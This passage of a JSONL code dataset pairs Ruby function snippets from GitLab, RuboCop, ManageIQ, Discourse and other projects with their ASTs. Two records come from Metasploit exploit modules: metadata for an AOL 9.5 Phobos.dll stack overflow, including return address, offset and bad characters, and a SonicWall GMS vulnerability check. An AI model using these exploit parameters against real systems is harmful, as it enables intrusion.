\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"sql\"]},{\"type\":\"sym\",\"children\":[\"calls\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"redis_duration\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"redis\"]},{\"type\":\"sym\",\"children\":[\"duration\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"redis_calls\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"redis\"]},{\"type\":\"sym\",\"children\":[\"calls\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"net_duration\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"net\"]},{\"type\":\"sym\",\"children\":[\"duration\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"net_calls\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"net\"]},{\"type\":\"sym\",\"children\":[\"calls\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"live_slots_finish\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GC\"]},\"stat\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"heap_live_slots\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"live_slots\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"live_slots_finish\"]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"live_slots_start\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"exception\"]},{\"type\":\"lvar\",\"children\":[\"exception\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"failed\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"success\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write_to_log\"]}]}]}]}]}","id":"9981985f-65f2-4173-8073-9aacbb061d78"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/aol_phobos_bof.rb","start_line":35,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5.\n          By setting an overly long value to 'Import()', an attacker can overrun a buffer\n          and execute arbitrary code.\n\n          NOTE: This ActiveX control is NOT marked safe for scripting or initialization.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Trancer <mtrancer[at]gmail.com>'\n        ],\n        'References' => [\n          [ 'CVE', '2010-10015' ],\n          [ 'OSVDB', '61964'],\n          [ 'EDB', '11204' ],\n          [ 'URL', 'http://www.rec-sec.com/2010/01/25/aol-playlist-class-buffer-overflow/' ],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n          'DisablePayloadHandler' => true\n        },\n        'Payload' => {\n          'Space' => 1024,\n          'BadChars' => \"\\x00\\x09\\x0a\\x0d'\\\\\",\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 1000 } ]\n        ],\n        'DisclosureDate' => '2010-01-20',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']),\n      ]\n    )\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5.\\n\"]},{\"type\":\"str\",\"children\":[\"          By setting an overly long value to 'Import()', an attacker can overrun a buffer\\n\"]},{\"type\":\"str\",\"children\":[\"          and execute arbitrary code.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          NOTE: This ActiveX control is NOT marked safe for scripting or initialization.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Trancer <mtrancer[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2010-10015\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"61964\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"11204\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.rec-sec.com/2010/01/25/aol-playlist-class-buffer-overflow/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisablePayloadHandler\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\t\\n\\r'\\\\\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[202116108]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[1000]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2010-01-20\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file name.\"]},{\"type\":\"str\",\"children\":[\"msf.html\"]}]}]}]}]}]}]}","id":"65502cff-9240-41c1-8db4-8ffdd8856f69"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/performance_bar.rb","start_line":9,"raw_source":"def self.enabled_for_request?\n      !Gitlab::SafeRequestStore[:capturing_flamegraph] && Gitlab::SafeRequestStore[:peek_enabled]\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"enabled_for_request?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SafeRequestStore\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"capturing_flamegraph\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SafeRequestStore\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"peek_enabled\"]}]}]}]}","id":"89403a9d-d482-4928-9c12-7cd5a5737c00"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/tasks/ci/job_tokens_task.rb","start_line":187,"raw_source":"def format_unavailable_route(route)\n        row = [route.description, \"`#{route_path(route)}`\"]\n        markdown_row(row)\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"format_unavailable_route\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"route\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"row\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route\"]},\"description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"route_path\",{\"type\":\"lvar\",\"children\":[\"route\"]}]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"markdown_row\",{\"type\":\"lvar\",\"children\":[\"row\"]}]}]}]}","id":"0a0f9226-d566-4f17-9b10-f728bef19b6b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/string_concatenation.rb","start_line":114,"raw_source":"def collect_parts(node, parts = [])\n          return unless node\n\n          if plus_node?(node)\n            collect_parts(node.receiver, parts)\n            collect_parts(node.first_argument, parts)\n          else\n            parts << node\n          end\n        end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"collect_parts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"optarg\",\"children\":[\"parts\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plus_node?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collect_parts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]},{\"type\":\"lvar\",\"children\":[\"parts\"]}]},{\"type\":\"send\",\"children\":[null,\"collect_parts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_argument\"]},{\"type\":\"lvar\",\"children\":[\"parts\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}","id":"18541f1c-43c8-42c3-b873-74096a1b87b7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/sonicwall_gms_upload.rb","start_line":156,"raw_source":"def check\n    if install_path.nil?\n      return Exploit::CheckCode::Safe\n    end\n\n    if install_path.include?(\"\\\\\")\n      vprint_status(\"Target looks like Windows\")\n    else\n      vprint_status(\"Target looks like Linux\")\n    end\n    return Exploit::CheckCode::Vulnerable\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"install_path\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"install_path\"]},\"include?\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Target looks like Windows\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Target looks like Linux\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]}]}]}","id":"62aa163d-bc48-49bf-8507-16d8e85c2e8b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups/milestones_controller.rb","start_line":130,"raw_source":"def group_ids(include_ancestors: false)\n    if include_ancestors\n      group.self_and_hierarchy.public_or_visible_to_user(current_user).select(:id)\n    else\n      group.self_and_descendants.public_or_visible_to_user(current_user).select(:id)\n    end\n  end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"group_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"include_ancestors\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"include_ancestors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"self_and_hierarchy\"]},\"public_or_visible_to_user\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"self_and_descendants\"]},\"public_or_visible_to_user\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}","id":"a88bd6e7-7f6b-4751-b372-611258f673d2"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/row_component.rb","start_line":75,"raw_source":"def checkmark(condition)\n    if condition\n      helpers.op_icon \"icon icon-checkmark\"\n    end\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"checkmark\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"condition\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"op_icon\",{\"type\":\"str\",\"children\":[\"icon icon-checkmark\"]}]},null]}]}","id":"c5d554a7-2de5-4cfc-b149-ded562946cc4"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/tools/pg_inspector/connection_locks.rb","start_line":117,"raw_source":"def find_lock_blocking_spid(spid)\n      locks_owned_by_spid(spid).collect { |lock| lock[\"blocked_by\"] }.compact.flatten.uniq\n    end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"find_lock_blocking_spid\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"spid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"locks_owned_by_spid\",{\"type\":\"lvar\",\"children\":[\"spid\"]}]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lock\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lock\"]},\"[]\",{\"type\":\"str\",\"children\":[\"blocked_by\"]}]}]},\"compact\"]},\"flatten\"]},\"uniq\"]}]}","id":"78cd12d8-f2d2-408d-b9a7-6361fb318d16"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/worker_management/kubernetes.rb","start_line":154,"raw_source":"def cpu_value_eql?(current, desired)\n    # Convert to millicores if not already converted: \"1\" -> 1000; \"1000m\" -> 1000\n    current = current.to_s[-1] == \"m\" ? current.to_f : current.to_f * 1000\n    desired = desired.to_s[-1] == \"m\" ? desired.to_f : desired.to_f * 1000\n    current == desired\n  end","complexity_score":19.85,"ast_json":"{\"type\":\"def\",\"children\":[\"cpu_value_eql?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current\"]},{\"type\":\"arg\",\"children\":[\"desired\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},\"to_s\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]},\"==\",{\"type\":\"str\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},\"to_f\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},\"to_f\"]},\"*\",{\"type\":\"int\",\"children\":[1000]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"desired\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desired\"]},\"to_s\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]},\"==\",{\"type\":\"str\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desired\"]},\"to_f\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desired\"]},\"to_f\"]},\"*\",{\"type\":\"int\",\"children\":[1000]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"desired\"]}]}]}]}","id":"0ccf74f2-0403-4b3d-a67f-74176658c967"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/emails/merge_requests.rb","start_line":111,"raw_source":"def changed_milestone_merge_request_email(\n      recipient_id,\n      merge_request_id,\n      milestone,\n      updated_by_user_id,\n      reason = nil\n    )\n      setup_merge_request_mail(merge_request_id, recipient_id)\n\n      @milestone = milestone\n      @milestone_url = milestone_url(@milestone)\n      mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, reason).merge({\n        template_name: 'changed_milestone_email'\n      }))\n    end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"changed_milestone_merge_request_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recipient_id\"]},{\"type\":\"arg\",\"children\":[\"merge_request_id\"]},{\"type\":\"arg\",\"children\":[\"milestone\"]},{\"type\":\"arg\",\"children\":[\"updated_by_user_id\"]},{\"type\":\"optarg\",\"children\":[\"reason\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setup_merge_request_mail\",{\"type\":\"lvar\",\"children\":[\"merge_request_id\"]},{\"type\":\"lvar\",\"children\":[\"recipient_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@milestone\",{\"type\":\"lvar\",\"children\":[\"milestone\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@milestone_url\",{\"type\":\"send\",\"children\":[null,\"milestone_url\",{\"type\":\"ivar\",\"children\":[\"@milestone\"]}]}]},{\"type\":\"send\",\"children\":[null,\"mail_answer_thread\",{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request_thread_options\",{\"type\":\"lvar\",\"children\":[\"updated_by_user_id\"]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template_name\"]},{\"type\":\"str\",\"children\":[\"changed_milestone_email\"]}]}]}]}]}]}]}","id":"2762c14a-37df-432a-a400-c664da7eb89b"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/regex_lexer.rb","start_line":371,"raw_source":"def recurse(text=nil)\n      delegate(self.class, text)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"recurse\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"text\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"delegate\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}","id":"ea89b716-14db-43cb-85c0-c667ff55f305"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/github_folder_onebox.rb","start_line":19,"raw_source":"def data\n        og = get_opengraph\n\n        max_length = 250\n\n        display_path = extract_path(og.url, max_length)\n        display_description = clean_description(og.description, og.title, max_length)\n\n        title = og.title\n\n        fragment = Addressable::URI.parse(url).fragment\n        if fragment\n          fragment = Addressable::URI.unencode(fragment)\n\n          # For links to markdown and rdoc\n          if html_doc.css(\".Box.md, .Box.rdoc\").present?\n            node = html_doc.css(\"a.anchor\").find { |n| n[\"href\"] == \"##{fragment}\" }\n            subtitle = node&.parent&.text\n          end\n\n          title = \"#{title} - #{subtitle}\" if subtitle\n        end\n\n        {\n          link: url,\n          title: Onebox::Helpers.truncate(title, 250),\n          path: display_path,\n          description: display_description,\n          favicon: get_favicon,\n        }\n      end","complexity_score":47.35,"ast_json":"{\"type\":\"def\",\"children\":[\"data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"og\",{\"type\":\"send\",\"children\":[null,\"get_opengraph\"]}]},{\"type\":\"lvasgn\",\"children\":[\"max_length\",{\"type\":\"int\",\"children\":[250]}]},{\"type\":\"lvasgn\",\"children\":[\"display_path\",{\"type\":\"send\",\"children\":[null,\"extract_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"og\"]},\"url\"]},{\"type\":\"lvar\",\"children\":[\"max_length\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"display_description\",{\"type\":\"send\",\"children\":[null,\"clean_description\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"og\"]},\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"og\"]},\"title\"]},{\"type\":\"lvar\",\"children\":[\"max_length\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"og\"]},\"title\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fragment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"parse\",{\"type\":\"send\",\"children\":[null,\"url\"]}]},\"fragment\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fragment\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fragment\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"unencode\",{\"type\":\"lvar\",\"children\":[\"fragment\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"html_doc\"]},\"css\",{\"type\":\"str\",\"children\":[\".Box.md, .Box.rdoc\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"node\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"html_doc\"]},\"css\",{\"type\":\"str\",\"children\":[\"a.anchor\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"[]\",{\"type\":\"str\",\"children\":[\"href\"]}]},\"==\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fragment\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subtitle\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]},\"text\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subtitle\"]},{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"str\",\"children\":[\" - 